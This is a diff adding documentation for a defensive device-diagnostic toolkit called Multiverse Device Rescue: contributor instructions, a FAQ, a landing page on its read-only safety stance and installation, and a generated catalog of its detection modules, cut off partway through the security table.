backlog + would only teach people to route around the check. + + If you touch a module, adding its docstring is a free contribution — and + the [module catalog](modules.md) uses the first line as its description, so + it shows up on the site immediately. + +## Regenerating generated files + +Four files in this repository are generated, and CI fails on any of them being +stale. Regenerate and commit them alongside the change that made them stale. + +**The integrity manifest** — after *any* change under `rescue/`: + +```console +$ python scripts/generate_integrity_manifest.py +Wrote .../rescue/security/integrity_manifest.json +$ git diff --exit-code -- rescue/security/integrity_manifest.json +``` + +A stale manifest is worse than none: it prints a tamper warning on every launch +and trains users to ignore the one signal that would tell them their install +was modified. + +**The module catalog** — after adding, removing, renaming, or re-documenting a +module: + +```console +$ python scripts/generate_module_catalog.py +Wrote .../docs/modules.md (287 modules). +$ python scripts/generate_module_catalog.py --check +.../docs/modules.md is up to date (287 modules). +``` + +**The remediation catalog** — after changing any module's `emits_codes` or any +walkthrough in `guides/remediation/`: + +```console +$ rescue remediation-catalog +Wrote .../docs/REMEDIATION_CATALOG.md (510 codes) +``` + +**The threat map** — after editing `docs/threat_remediation_map.yaml`: + +```console +$ rescue threat-remediation +``` + +This one validates before it writes: a threat referencing an unknown profile, +finding code, or module prints `ERROR: …` and exits `1` without touching the +file. + +## Building the documentation + +```console +$ pip install -e ".[docs]" +$ mkdocs serve # live preview on http://127.0.0.1:8000 +$ mkdocs build --strict # what CI runs — warnings are errors +``` + +The site builds to `site_build/` (gitignored). `site/` is the separate +marketing landing page and is not part of this site. + +`--strict` turns every warning into a failure, and a broken internal link is a +warning — so a link to a page that does not exist fails the build. That is +deliberate: a dead link is a broken doc. + +`docs/modules.md` is generated; do not edit it by hand. `docs/superpowers/` and +`docs/threat_remediation_map.yaml` are excluded from the site via `exclude_docs` +in `mkdocs.yml`. Any new page must be added to the `nav:` block. + +## What CI checks + +`.github/workflows/tests.yml`: + +| Job | What it does | +| --- | --- | +| `syntax-floor` | `python -m compileall -q rescue modules scripts` on Python 3.11. Runs first and gates everything else. | +| `test` | `pytest -q --maxfail=20` across Ubuntu, macOS, and Windows × Python 3.11, 3.12, 3.13, with `RESCUE_TEST_MODE=1`. | +| `lint` | `ruff check .` (blocking) and `ruff format --diff` (advisory). | +| `integrity` | Regenerates the integrity manifest and fails on any diff. | +| `content` | `rescue validate --strict`. | +| `package` | Installs from source into a clean venv on all three OSes, runs the tool **from outside the source tree**, and confirms it discovers its own profiles and can run a module. | + +That last job exists because `modules/`, `profiles/`, and `guides/` install +outside the Python package as `data_files`. A packaging mistake produces a tool +that installs cleanly, launches cleanly, and discovers nothing — and only a +clean-environment install from a different directory catches it. + +`.github/workflows/docs.yml`: + +| Step | What it does | +| --- | --- | +| Install | `pip install -e ".[docs]"` | +| Generate the module catalog | `python scripts/generate_module_catalog.py --check` — fails if the committed page has drifted from the registry. | +| Build | `mkdocs build --strict` | +| Deploy | Uploads `site_build/` and deploys to GitHub Pages, on `main` only. | + +## Conventions worth knowing + +- **A check is always read-only.** Every `check()`, on every module, without + exception. `risk_level` describes `fix()`. +- **Never turn "I could not look" into "all clear."** Return + `supported=False` with a reason, or an error. See + [Writing a module](writing-a-module.md#platform-gating-supported-and-unsupported_reason). +- **Use `rescue.command.run`, not `subprocess`.** Use + `rescue.fsbounds.bounded_walk`, not `rglob`. +- **Guidance is not a system change.** Get `ActionKind` right; the reporting + layer will not let you fake it. +- **Do not set `auto_apply = True`** without a discussion. It is the single + switch that makes unattended mode able to change a machine, and today nothing + sets it. +- **Do not describe a guide step as automatable** until it resolves to a + registered module. `rescue validate` enforces the structural half of this. +- **Do not edit generated files by hand**: `docs/modules.md`, + `docs/REMEDIATION_CATALOG.md`, `docs/THREAT_REMEDIATION.md`, + `rescue/security/integrity_manifest.json`. + +## Where the work is + +[`docs/ROADMAP.md`](ROADMAP.md) is the planning document; +[`docs/ROADMAP_STATUS.md`](ROADMAP_STATUS.md) is the honest accounting of what +is actually done. Two items are worth calling out for anyone looking for +something substantial: + +- **P0#10 — discovery executes arbitrary Python.** The registry imports every + module in-process. Process isolation is a Phase-4 architecture change and has + not been started. +- **P0#7 — the `subprocess` migration.** `rescue/command.py` exists; migrating + every remaining in-module call site to it is large but mechanical, and each + migration is independently reviewable. + +Items marked "human/infra required" in the status document — real signer key +material and custody, multi-platform CI on real hardware, signed release +artifacts — cannot be closed by a code change alone. diff --git a/docs/faq.md b/docs/faq.md new file mode 100644 index 0000000..f763c7a --- /dev/null +++ b/docs/faq.md @@ -0,0 +1,175 @@ +# FAQ + +## Is it going to change something on my computer? + +Not unless you tell it to. `rescue scan` and `rescue export` never apply a fix +at all. `rescue --auto` is read-only on the shipped tree: unattended repair +requires a module to set `auto_apply = True`, and none of the 287 shipped +modules do. You can check in one command: + +```console +$ grep -rn "auto_apply" modules/ | wc -l +0 +``` + +The two ways to actually change something are answering `y` at a +`Apply fixes for ?` prompt, or passing `--yes` to `rescue run`. Full +chain of evidence in +[Trust and safety](trust-and-safety.md#auto-mode-is-read-only). + +## Will it ever ask for my password or a 2FA code? + +No. There is no prompt in the tool for an account password, a one-time code, a +recovery code, a seed phrase, or a password-manager master password. If +something claiming to be this tool asks you to type one, it is not this tool. + +Your **operating system** may ask for your administrator password on its own +dialog (macOS authorisation, `sudo`, Windows UAC). That is the OS, and the tool +never sees what you type. + +## Does it send my data anywhere? + +No, unless you turn on the optional AI layer, which requires both an API key in +the environment *and* an explicit `--copilot` / `rescue explain` / +`rescue recommend`. There is no telemetry, no analytics, no crash reporting, +and no version ping. See [Privacy](privacy.md). + +## Do I need to run it as administrator or with sudo? + +No, and mostly you should not. The tool works unprivileged; some checks will +report that they could not read something, which is a normal result, not a +failure. See [Troubleshooting](troubleshooting.md#permissions-and-sudo) for +which checks benefit from elevation and how to decide. + +## "Check unavailable" — is that bad? + +It means the check **errored or timed out**, so it looked at nothing. It is not +a clean bill of health and it is not necessarily a problem — most often it +means a required command is missing or a path is unreadable. Treat that area as +unexamined. The related message "Not supported here" means the check cannot run +on this machine at all. Neither is ever reported as "No issues found", by +design. Details in +[Troubleshooting](troubleshooting.md#check-unavailable-versus-no-issues-found). + +## Why did it find 20 "issues"? Am I hacked? + +Almost certainly not. Most findings are `[info]` — inventories that exist so a +human can spot the one entry they do not recognise. That is the detection +mechanism for anything novel: no signature list can know what is unusual *for +you*. Read the severities, not the count. `[warning]` means something is worth +changing; `[critical]` means today. + +## Does it replace antivirus? + +No. It looks for indicators and misconfiguration. Keep your endpoint protection. + +## Can it scan my phone? + +Only an iPhone or iPad **backup that already exists on your computer**, via the +[iPhone/iPad spyware check](scenarios/iphone-spyware-check.md), which uses +Amnesty International's Mobile Verification Toolkit. There are no desktop +modules for Android or iOS device internals; mobile steps in the guides are +human-led. + +## Which platform gets the most coverage? + +macOS, then Windows, then Linux. Of the 287 shipped modules, 199 run on macOS, +100 on Windows, and 26 on Linux (a module can support more than one). Linux +support is real but narrower — see the [module catalog](modules.md) for the +exact list. + +## Where does it store things? + +| Path | What | +| --- | --- | +| `~/.rescue/sessions/.json` | Guide progress | +| `~/.rescue/cases/` | Exported case reports | +| `~/.local/share/rescue/content/` | Applied content updates | +| `~/.config/rescue/revoked_signers.json` | Locally revoked update signers | + +`rescue scan` writes nothing at all. + +## What is a "profile"? + +A scenario. It picks the relevant modules, configures them for that threat, and +pairs them with a phased human walkthrough. `rescue profiles` lists the seven +built-in ones; [Scenarios](scenarios/index.md) helps you choose. + +## What is the difference between `--auto --profile X` and `rescue guide X`? + +`--auto --profile X` runs the device checks for that scenario. `rescue guide X` +walks you through the human work — the phone calls, the account changes, the +router settings — and tracks which steps you have finished. For most scenarios +the guide is the substance and the modules only answer "is this device itself +the problem?" + +## Can I run a single check? + +```console +$ rescue run +``` + +Names are in the [module catalog](modules.md). It prompts before applying +anything; answer `N` and nothing happens. + +## How do I share my results with someone who can help? + +```console +$ rescue export +``` + +That writes a redacted JSON file and a Markdown summary to `~/.rescue/cases/`. +Send the Markdown one. Read it first — redaction removes credential-shaped +strings, emails, your username, home path, and hostname, but module output is +free text. Do **not** share `rescue scan --json`, which is not redacted. + +## Why does it warn about the integrity manifest? + +```text +WARNING: rescue's own installed files do not match the expected integrity manifest. +``` + +The tool hashes its own Python files at launch and compares them to a shipped +manifest. On a release install this means files changed after installation — +reinstall. In a development checkout it usually just means you edited the code +and have not regenerated the manifest +(`python scripts/generate_integrity_manifest.py`). It warns and continues; it +never blocks. + +## `rescue update` says the signer configuration has placeholders + +That is correct and expected on the current release. The shipped +`trusted_signers.json` contains `REPLACE_WITH_…` placeholders, and the software +refuses to run an update against placeholder key material. The update channel is +effectively closed until real maintainer keys are published (roadmap P0#3). Get +new versions the way you got this one. See +[Trust and safety](trust-and-safety.md#signed-content-updates). + +## Can an update push new code to my machine? + +Not through the sanctioned path. Content updates carry data files only — +`.json`, `.md`, `.toml`, `.txt`, `.yaml`, `.yml` under `modules/`, `guides/`, or +`profiles/` — and a commit containing anything else is rejected before checkout. +Updates also require signed tags from two distinct trusted maintainers. + +## Is my data safe if my machine is actually compromised? + +Assume not. A machine you believe is compromised cannot be trusted to report on +itself: malware with sufficient privilege can hide from any local tool, +including this one. Use this for triage and for evidence of what *is* visible, +do the account recovery from a device you trust, and get professional incident +response if the stakes are high. + +## Someone I know may be monitoring me. Should I just remove it? + +Please read the safety framing first. Removing monitoring software can escalate +a dangerous situation, and the safety plan comes before the technical cleanup. +The [home network intrusion](scenarios/home-network-intrusion.md) guide opens +with this. In the US: National Domestic Violence Hotline, 1-800-799-7233. +Internationally: . + +## How do I contribute a check? + +[Writing a module](writing-a-module.md) has the full contract and a complete +copy-pasteable example with tests. [Contributing](contributing.md) covers dev +setup and what CI enforces. diff --git a/docs/index.md b/docs/index.md new file mode 100644 index 0000000..ed95abf --- /dev/null +++ b/docs/index.md @@ -0,0 +1,178 @@ +# Multiverse Device Rescue + +A local diagnostic, maintenance, and guided-recovery toolkit for macOS, +Windows, and Linux. It runs **287 read-only checks** against the machine it is +installed on, tells you plainly what it found, and walks you through the parts +that a program cannot and should not do for you. + +It is built for the moment after something has gone wrong — you think you have +been hacked, your Wi-Fi has strangers on it, your identity has been stolen, a +family member's laptop has been getting slower for two years — when you need to +know what is actually true about the machine in front of you before you start +changing things. + +
+ +- :material-rocket-launch: **[Quickstart](quickstart.md)** + + Install it and run your first scan in about a minute. + +- :material-map-marker-path: **[Scenarios](scenarios/index.md)** + + Seven built-in situations, each with the exact command to run. + +- :material-shield-check: **[Trust and safety](trust-and-safety.md)** + + Every safety claim on this page, traced to the code that implements it. + +- :material-console: **[CLI reference](cli.md)** + + Every command and flag the tool has. + +
+ +## The safety stance + +This tool is designed to be run by someone who is already frightened, on a +machine they are no longer sure they can trust. That constrains what it is +allowed to do. + +!!! success "Read-only by default" + `rescue --auto` never changes your system. Not "rarely" — never, on the + shipped tree. Unattended repair requires a module to opt in by setting + `auto_apply = True`, and **zero of the 287 shipped modules do**. The + summary line prints the number of changes it made, and on this tree that + number is always `0`. See + [how that is enforced](trust-and-safety.md#auto-mode-is-read-only). + +!!! success "It never asks for your secrets" + The tool does not have a prompt for an account password, a one-time 2FA + code, a recovery code, a seed phrase, or a password-manager master + password, because it never needs one. If anything ever asks you for one + while claiming to be this tool, that is not this tool. Everything that + genuinely requires signing in to an account happens on the provider's own + website, in the guide, done by you. + +!!! success "Nothing leaves your machine" + Checks read local files and run local commands. There is no telemetry, no + analytics, and no upload. The single exception is the optional AI + explanation layer, which only runs when you explicitly pass `--copilot` or + run `rescue explain` / `rescue recommend`, and which sends only finding + titles and descriptions to the provider you configured. See + [Privacy](privacy.md). + +!!! success "Guidance and system changes are counted separately" + "Here is what you should do" and "I did this to your computer" are + different things, and the tool tracks them as different things right down + in the data model (`ActionKind.GUIDANCE` vs `ActionKind.MUTATION`). A + manual instruction can never be reported as a change that was made. + +!!! success "A check that could not run says so" + A check that lacked permission, hit an unsupported platform, timed out, or + crashed reports `unsupported` or `failed`. It never quietly reports "no + issues found". This distinction is baked into `CheckStatus`, because a + security tool that turns "I could not look" into "everything is fine" is + worse than no tool. + +## When to use it + +**Good fits** + +- You suspect an account or device compromise and need to know what is + observable on the device before you start resetting things. +- Someone unwanted may be on your home network, or your machine is mining + cryptocurrency for a stranger. +- Your identity has been stolen and you need a checklist that survives the + next three weeks of phone calls. +- You are visiting family and have one afternoon to leave their laptop in a + better state than you found it. +- You want a plain-language read on a machine that "feels wrong". + +**Poor fits — please use something else** + +- **An active, ongoing intrusion of a business or a high-risk target.** Use a + professional incident-response team. Running diagnostics on a live + compromise can destroy the evidence they need. +- **Forensic evidence collection for legal proceedings.** This is a triage + tool, not a forensic imager. +- **Antivirus.** It looks for indicators and misconfiguration, and it does not + replace an endpoint-protection product. +- **Android and iOS device internals.** Mobile steps are human-guided. The one + exception is scanning an iPhone/iPad *backup* that already exists on your + computer — see the [iPhone spyware check](scenarios/iphone-spyware-check.md). + +!!! danger "If the person who may have access is someone you know" + If a partner, ex-partner, family member, or housemate may be monitoring + you, removing monitoring software can escalate the situation. The safety + plan comes before the technical cleanup. In the US, the National Domestic + Violence Hotline is 1-800-799-7233; the Coalition Against Stalkerware + () lists resources internationally. The + [home network intrusion](scenarios/home-network-intrusion.md) guide opens + with this for a reason. + +## 60-second quickstart + +!!! danger "This project is not published on PyPI" + Install it from a source checkout, as below. There is no + `pip install multiverse-device-rescue` — the maintainers do not control + that name on any package registry, so **any package by that name on PyPI is + not this project**. Installing it would be exactly the supply-chain + mistake this tool exists to help you avoid. + +=== "macOS / Linux" + + ```console + $ git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + $ cd multiverse-device-rescue + $ python3 -m venv .venv && source .venv/bin/activate + $ pip install . + $ rescue scan + ``` + +=== "Windows" + + ```doscon + C:\> git clone https://github.com/lizTheDeveloper/multiverse-device-rescue.git + C:\> cd multiverse-device-rescue + C:\> py -m venv .venv && .venv\Scripts\activate + C:\> pip install . + C:\> rescue scan + ``` + +`rescue scan` runs every check that applies to your platform and prints what it +found. It changes nothing. + +```console +$ rescue scan +=== linux_service_health === +Found 1 issue(s): + [warning] No time-synchronisation service appears to be running: Nothing on + this machine is keeping the clock correct. A drifted clock breaks HTTPS + certificate validation, two-factor codes, and scheduled jobs. +=== linux_firewall_check === +No issues found. +=== arp_spoof_check === +Check unavailable: The neighbour table could not be read, or is empty. +``` + +Then pick the situation you are actually in: + +```console +$ rescue profiles # what scenarios exist +$ rescue --auto --profile digital_security_reset # scan for one scenario +$ rescue guide digital_security_reset # the human walkthrough +``` + +Keep going in the [Quickstart](quickstart.md), or jump to the +[scenario that matches your situation](scenarios/index.md). + +## Where things live + +| Thing | Path | +| --- | --- | +| Saved guide progress | `~/.rescue/sessions/.json` | +| Exported rescue cases | `~/.rescue/cases/` | +| Downloaded content updates | `~/.local/share/rescue/content/` | +| Locally revoked update signers | `~/.config/rescue/revoked_signers.json` | + +Nothing else is written anywhere unless you ask for it. diff --git a/docs/modules.md b/docs/modules.md new file mode 100644 index 0000000..a12cabe --- /dev/null +++ b/docs/modules.md @@ -0,0 +1,398 @@ +# Module catalog + +!!! info "This page is generated" + Written by `python scripts/generate_module_catalog.py` from the live + registry (`rescue.registry.discover_modules`). CI runs the same script with + `--check`, so this page cannot drift from the modules the tool actually + ships. Do not edit it by hand. + +A **module** is one self-contained check. It declares which platforms it can +run on, how risky its `fix()` is, and roughly how long its `check()` takes, then +returns findings. Modules never run in isolation from the rest of the +system — see [Architecture](architecture.md) for how a scan is assembled, and +[Writing a module](writing-a-module.md) for the authoring contract. + +Reading the columns: + +- **Platforms** — the module only runs where it declares support. Everywhere + else it is filtered out before the scan starts, or returns + `supported=False` with a reason. It never silently reports "no issues". +- **Risk** — the risk level of the module's `fix()`, not of its `check()`. + Every `check()` is read-only. `safe` fixes are low-impact and reversible; + `moderate` and `destructive` fixes always require explicit confirmation. +- **Duration** — the author's estimate for `check()`. The orchestrator + enforces a hard 60-second per-module timeout regardless. + +Run any single module directly: + +```console +$ rescue run +``` + + +## Coverage at a glance + +**287 modules** ship in the tree. + +| Platform | Modules that run there | +| --- | ---: | +| macOS | 199 | +| Windows | 100 | +| Linux | 26 | + +A module can support more than one platform, so these numbers add up to more than the total. + +| Category | Modules | +| --- | ---: | +| [bloatware](#bloatware) | 4 | +| [integrity](#integrity) | 106 | +| [network](#network) | 8 | +| [performance](#performance) | 51 | +| [security](#security) | 118 | + +## bloatware + +Preinstalled and vendor software that consumes resources without being asked for. + +4 modules — macOS 3, Windows 2, Linux 1. + +| Module | Platforms | Risk | Duration | What it checks | +| --- | --- | --- | --- | --- | +| `login_items` | macOS | safe | 3s | — | +| `process_scanner` | macOS, Windows, Linux | moderate | 5s | — | +| `startup_auditor` | macOS | moderate | 5s | — | +| `win_bloatware` | Windows | safe | 5s | — | + +## integrity + +Whether the machine's own subsystems are healthy and intact: disks, updates, backups, drivers, logs, keychains, networking stacks. + +106 modules — macOS 70, Windows 33, Linux 3. + +| Module | Platforms | Risk | Duration | What it checks | +| --- | --- | --- | --- | --- | +| `accessibility_check` | macOS | safe | 5s | — | +| `airport_wifi_scan` | macOS | safe | 5s | — | +| `app_crash_analyzer` | macOS | safe | 10s | — | +| `application_compatibility` | macOS | safe | 10s | — | +| `application_crash_report` | macOS | safe | 10s | — | +| `audio_config` | macOS | safe | 3s | — | +| `audio_troubleshoot` | macOS | safe | 4s | — | +| `backup_status` | macOS | safe | 10s | — | +| `battery_health` | macOS | safe | 5s | — | +| `bluetooth_diagnostics` | macOS | safe | 5s | — | +| `core_services_reset` | macOS | safe | 10s | — | +| `coreaudio_reset` | macOS | safe | 4s | — | +| `crash_log_analyzer` | macOS | safe | 10s | — | +| `default_browser` | macOS | safe | 10s | — | +| `directory_permissions` | macOS | safe | 3s | — | +| `disk_health` | macOS | safe | 10s | — | +| `disk_permissions_repair` | macOS | safe | 5s | — | +| `disk_smart_check` | macOS | safe | 10s | — | +| `disk_utility_firstaid` | macOS | safe | 30s | — | +| `display_config` | macOS | safe | 3s | — | +| `display_issues` | macOS | safe | 3s | — | +| `dns_config` | macOS | safe | 5s | — | +| `filesystem_health_check` | macOS | safe | 10s | — | +| `font_issues` | macOS | safe | 10s | — | +| `gpu_health` | macOS | safe | 5s | — | +| `handoff_continuity` | macOS | safe | 5s | — | +| `homebrew_health` | macOS | safe | 15s | — | +| `hostname_check` | macOS | safe | 10s | — | +| `icloud_status` | macOS | safe | 5s | — | +| `icloud_storage` | macOS | safe | 10s | — | +| `icloud_storage_check` | macOS | safe | 10s | — | +| `input_devices` | macOS | safe | 10s | — | +| `kernel_panic_check` | macOS | safe | 5s | — | +| `keychain_health` | macOS | safe | 5s | — | +| `linux_journal_errors` | Linux | safe | 30s | Read the system journal for the errors that predict hardware failure. | +| `linux_package_updates` | Linux | safe | 45s | Are there security updates waiting, and is this release still getting them? | +| `linux_service_health` | Linux | safe | 20s | What has systemd given up on, and what keeps dying and restarting? | +| `login_keychain_repair` | macOS | safe | 10s | — | +| `macos_eol_check` | macOS | safe | 5s | — | +| `macos_version_support` | macOS | safe | 3s | — | +| `mail_config` | macOS | safe | 5s | — | +| `network_diagnostics` | macOS | safe | 10s | — | +| `network_interface_audit` | macOS | safe | 5s | — | +| `network_interfaces_check` | macOS | safe | 5s | — | +| `network_proxy_detect` | macOS | safe | 2s | — | +| `network_speed_test` | macOS | safe | 15s | — | +| `notifications_config` | macOS | safe | 5s | — | +| `photos_library_check` | macOS | safe | 5s | — | +| `pram_nvram_check` | macOS | safe | 5s | — | +| `printer_diagnostics` | macOS | safe | 10s | — | +| `printer_queue` | macOS | safe | 10s | — | +| `recovery_partition_check` | macOS | safe | 10s | — | +| `rosetta_status` | macOS | safe | 3s | — | +| `safe_boot_check` | macOS | safe | 5s | — | +| `safe_mode_check` | macOS | safe | 10s | — | +| `screen_time_password` | macOS | safe | 5s | — | +| `sleep_wake_issues` | macOS | safe | 3s | — | +| `smart_status` | macOS | safe | 5s | — | +| `smc_reset_check` | macOS | safe | 10s | — | +| `smcreset_guide` | macOS | safe | 3s | — | +| `software_inventory` | macOS | safe | 30s | — | +| `system_age_check` | macOS | safe | 5s | — | +| `system_extensions_check` | macOS | safe | 5s | — | +| `system_log_errors` | macOS | safe | 5s | — | +| `time_machine_check` | macOS | safe | 5s | — | +| `time_machine_exclusions` | macOS | safe | 5s | — | +| `time_machine_health` | macOS | safe | 15s | — | +| `time_sync_check` | macOS | safe | 5s | — | +| `update_checker` | macOS | safe | 30s | — | +| `usb_devices_check` | macOS | safe | 3s | — | +| `user_account_health` | macOS | safe | 10s | — | +| `wifi_diagnostics` | macOS | safe | 5s | — | +| `wifi_password_recovery` | macOS | safe | 3s | — | +| `win_activation` | Windows | safe | 5s | — | +| `win_activation_check` | Windows | safe | 10s | — | +| `win_audio_check` | Windows | safe | 10s | — | +| `win_battery` | Windows | safe | 5s | — | +| `win_bluetooth_check` | Windows | safe | 10s | — | +| `win_boot_config_check` | Windows | safe | 10s | — | +| `win_bsod_analysis` | Windows | safe | 10s | — | +| `win_disk_health` | Windows | safe | 15s | — | +| `win_dism_health` | Windows | safe | 30s | — | +| `win_display_check` | Windows | safe | 10s | — | +| `win_dns_config` | Windows | safe | 5s | — | +| `win_driver_check` | Windows | safe | 20s | — | +| `win_event_errors` | Windows | safe | 10s | — | +| `win_event_log_health` | Windows | safe | 10s | — | +| `win_memory_diagnostics` | Windows | safe | 10s | — | +| `win_network_adapters` | Windows | safe | 15s | — | +| `win_network_diag` | Windows | safe | 10s | — | +| `win_network_reset` | Windows | safe | 15s | — | +| `win_print_spooler_check` | Windows | safe | 20s | — | +| `win_printer_check` | Windows | safe | 10s | — | +| `win_printer_issues` | Windows | safe | 15s | — | +| `win_recovery_options` | Windows | safe | 10s | — | +| `win_restore_points` | Windows | safe | 10s | — | +| `win_safe_mode_check` | Windows | safe | 10s | — | +| `win_sfc_check` | Windows | safe | 30s | — | +| `win_shadow_copies_check` | Windows | safe | 10s | — | +| `win_startup_repair` | Windows | safe | 20s | — | +| `win_update_history` | Windows | safe | 10s | — | +| `win_updates` | Windows | moderate | 10s | — | +| `win_wifi_diagnostics` | Windows | safe | 10s | — | +| `win_windows_update_status` | Windows | safe | 20s | — | +| `win_winsock_check` | Windows | safe | 20s | — | +| `win_wmi_health` | Windows | safe | 20s | — | + +## network + +The local network and how this machine sits on it: interfaces, neighbours, ports, DNS, and interception. + +8 modules — macOS 8, Windows 3, Linux 3. + +| Module | Platforms | Risk | Duration | What it checks | +| --- | --- | --- | --- | --- | +| `arp_spoof_check` | macOS, Windows, Linux | safe | 10s | Detect ARP spoofing — someone on the network intercepting your traffic. | +| `dns_over_https_check` | macOS | safe | 5s | — | +| `ethernet_diagnostics` | macOS | safe | 10s | — | +| `lan_device_inventory` | macOS, Windows, Linux | safe | 10s | List every device currently visible on the local network. | +| `network_proxy_check` | macOS | safe | 3s | — | +| `router_security_audit` | macOS, Windows, Linux | safe | 15s | Audit the home router's exposed surface, and give the reclaim procedure. | +| `vpn_leak_check` | macOS | safe | 5s | — | +| `wifi_security_audit` | macOS | safe | 5s | — | + +## performance + +Why the machine is slow: CPU and memory pressure, thermals, disk space, startup load, and background work. + +51 modules — macOS 35, Windows 17, Linux 3. + +| Module | Platforms | Risk | Duration | What it checks | +| --- | --- | --- | --- | --- | +| `browser_cache_cleanup` | macOS | safe | 5s | — | +| `clamshell_mode` | macOS | safe | 3s | — | +| `disk_fragmentation_check` | macOS | safe | 5s | — | +| `disk_io_health` | macOS | safe | 5s | — | +| `disk_space` | macOS, Windows, Linux | safe | 5s | — | +| `docker_cleanup` | macOS | safe | 5s | — | +| `energy_saver_check` | macOS | safe | 5s | — | +| `energy_settings` | macOS | safe | 2s | — | +| `font_cache` | macOS | safe | 5s | — | +| `font_cache_repair` | macOS | safe | 5s | — | +| `large_files_finder` | macOS | safe | 30s | — | +| `library_cache_cleanup` | macOS | safe | 10s | — | +| `linux_memory_pressure` | Linux | safe | 5s | Why this Linux machine feels slow: memory, swap, and the kernel's own | +| `login_items_cleanup` | macOS | safe | 5s | — | +| `macos_user_cleanup` | macOS | safe | 10s | — | +| `mail_attachment_cleanup` | macOS | safe | 10s | — | +| `memory_pressure` | macOS | safe | 3s | — | +| `memory_pressure_check` | macOS | safe | 3s | — | +| `network_quality` | macOS | safe | 30s | — | +| `notification_center_check` | macOS | safe | 3s | — | +| `power_settings` | macOS | safe | 2s | — | +| `resource_hog_identifier` | macOS, Windows, Linux | moderate | 5s | — | +| `screen_resolution_scaling` | macOS | safe | 2s | — | +| `spotlight_rebuild` | macOS | safe | 5s | — | +| `spotlight_repair` | macOS | safe | 5s | — | +| `spotlight_status` | macOS | safe | 3s | — | +| `startup_optimizer` | macOS | safe | 5s | — | +| `storage_cleanup` | macOS | safe | 15s | — | +| `swap_memory_check` | macOS | safe | 3s | — | +| `swap_usage` | macOS | safe | 3s | — | +| `temp_file_scanner` | macOS | safe | 10s | — | +| `thermal_throttle` | macOS | safe | 3s | — | +| `thermal_throttle_check` | macOS | safe | 3s | — | +| `trash_cleanup` | macOS | safe | 5s | — | +| `user_profile_size` | macOS | safe | 10s | — | +| `win_boot_time` | Windows | safe | 5s | — | +| `win_disk_cleanup` | Windows | safe | 30s | — | +| `win_disk_space` | Windows | safe | 5s | — | +| `win_pagefile` | Windows | safe | 5s | — | +| `win_pagefile_check` | Windows | safe | 5s | — | +| `win_power_plan` | Windows | safe | 2s | — | +| `win_power_plan_check` | Windows | safe | 3s | — | +| `win_search_index` | Windows | safe | 10s | — | +| `win_startup` | Windows | safe | 5s | — | +| `win_startup_programs_audit` | Windows | safe | 10s | — | +| `win_temp_cleanup` | Windows | safe | 10s | — | +| `win_temp_files` | Windows | safe | 15s | — | +| `win_temp_files_cleanup` | Windows | safe | 30s | — | +| `win_user_profiles` | Windows | safe | 30s | — | +| `win_visual_effects` | Windows | safe | 5s | — | +| `xcode_cleanup` | macOS | safe | 10s | — | + +## security + +Malware and spyware indicators, persistence, remote access, credential exposure, and system hardening posture. + +118 modules — macOS 83, Windows 45, Linux 16. + +| Module | Platforms | Risk | Duration | What it checks | +| --- | --- | --- | --- | --- | +| `accessibility_permissions` | macOS | safe | 5s | — | +| `ai_threat_indicators` | macOS | safe | 5s | — | +| `ai_worm_filesystem` | macOS, Windows, Linux | moderate | 10s | — | +| `ai_worm_git_ssh` | macOS, Windows, Linux | moderate | 10s | — | +| `ai_worm_lateral` | macOS, Windows, Linux | moderate | 10s | — | +| `ai_worm_network` | macOS, Windows, Linux | moderate | 10s | — | +| `ai_worm_persistence` | macOS, Windows, Linux | destructive | 10s | — | +| `airdrop_config` | macOS | safe | 5s | — | +| `airdrop_security_check` | macOS | safe | 3s | — | +| `antivirus_status` | macOS | safe | 5s | — | +| `app_permissions` | macOS | safe | 5s | — | +| `appleid_security_check` | macOS | safe | 5s | — | +| `automatic_updates` | macOS | safe | 3s | — | +| `bluetooth_audit` | macOS | safe | 5s | — | +| `browser_cryptojacking_check` | macOS, Windows, Linux | safe | 20s | Detect in-browser cryptojacking (drive-by mining). | +| `browser_extension_audit` | macOS | safe | 5s | — | +| `browser_hijack_check` | macOS | safe | 2s | — | +| `browser_privacy_check` | macOS | safe | 10s | — | +| `certificate_audit` | macOS | safe | 10s | — | +| `certificate_trust_audit` | macOS | safe | 10s | — | +| `chrome_extensions` | macOS | safe | 3s | — | +| `clamav_scanner` | macOS | safe | 2s | — | +| `code_signature_audit` | macOS, Windows | safe | 60s | Check whether installed applications are actually signed by who they claim. | +| `cron_jobs_audit` | macOS | safe | 5s | — | +| `crypto_miner_detect` | macOS | safe | 5s | — | +| `crypto_miner_persistence` | macOS, Windows, Linux | safe | 15s | Detect cryptojacking that has been made to survive a reboot. | +| `disk_encryption_recovery` | macOS | safe | 5s | — | +| `dns_poisoning_check` | macOS | safe | 3s | — | +| `encryption_check` | macOS | safe | 3s | — | +| `evidence_bundle` | macOS, Windows, Linux | safe | 10s | Warn when cleanup is about to destroy the evidence of what happened. | +| `filevault_recovery` | macOS | safe | 5s | — | +| `find_my_mac` | macOS | safe | 2s | — | +| `find_my_mac_check` | macOS | safe | 3s | — | +| `firewall_audit` | macOS | moderate | 5s | — | +| `firewall_rules_audit` | macOS | safe | 5s | — | +| `firmware_password` | macOS | safe | 2s | — | +| `gatekeeper_quarantine_check` | macOS | safe | 8s | — | +| `guest_account_check` | macOS | safe | 5s | — | +| `hosts_file_check` | macOS | safe | 1s | — | +| `kernel_extensions_audit` | macOS | safe | 5s | — | +| `kext_audit` | macOS | safe | 3s | — | +| `keylogger_indicators` | macOS | safe | 10s | — | +| `launch_agent_audit` | macOS | safe | 10s | — | +| `launchd_persistence_audit` | macOS | safe | 10s | — | +| `linux_account_audit` | Linux | safe | 10s | Who can log in to this machine, and who can become root. | +| `linux_disk_encryption_check` | Linux | safe | 15s | Is the data on this machine's disks encrypted at rest? | +| `linux_firewall_check` | Linux | safe | 10s | Is anything actually filtering inbound traffic on this Linux machine? | +| `linux_persistence_audit` | Linux | safe | 20s | Inventory the places on Linux where something can arrange to run again. | +| `linux_ssh_hardening` | Linux | safe | 10s | Read the effective SSH server configuration and flag the settings that turn | +| `location_services` | macOS | safe | 3s | — | +| `lock_screen_check` | macOS | safe | 3s | — | +| `login_password_policy` | macOS | safe | 5s | — | +| `login_window_settings` | macOS | safe | 5s | — | +| `malware_scan_indicators` | macOS | safe | 15s | — | +| `mdm_enrollment` | macOS | safe | 5s | — | +| `mdm_enrollment_check` | macOS | safe | 5s | — | +| `mvt_spyware_scan` | macOS, Windows, Linux | safe | instant by default; 1-10m if backup scanning is enabled | mvt_spyware_scan: wraps Amnesty International's Mobile Verification Toolkit | +| `network_connections_monitor` | macOS | safe | 5s | — | +| `network_proxy` | macOS | safe | 2s | — | +| 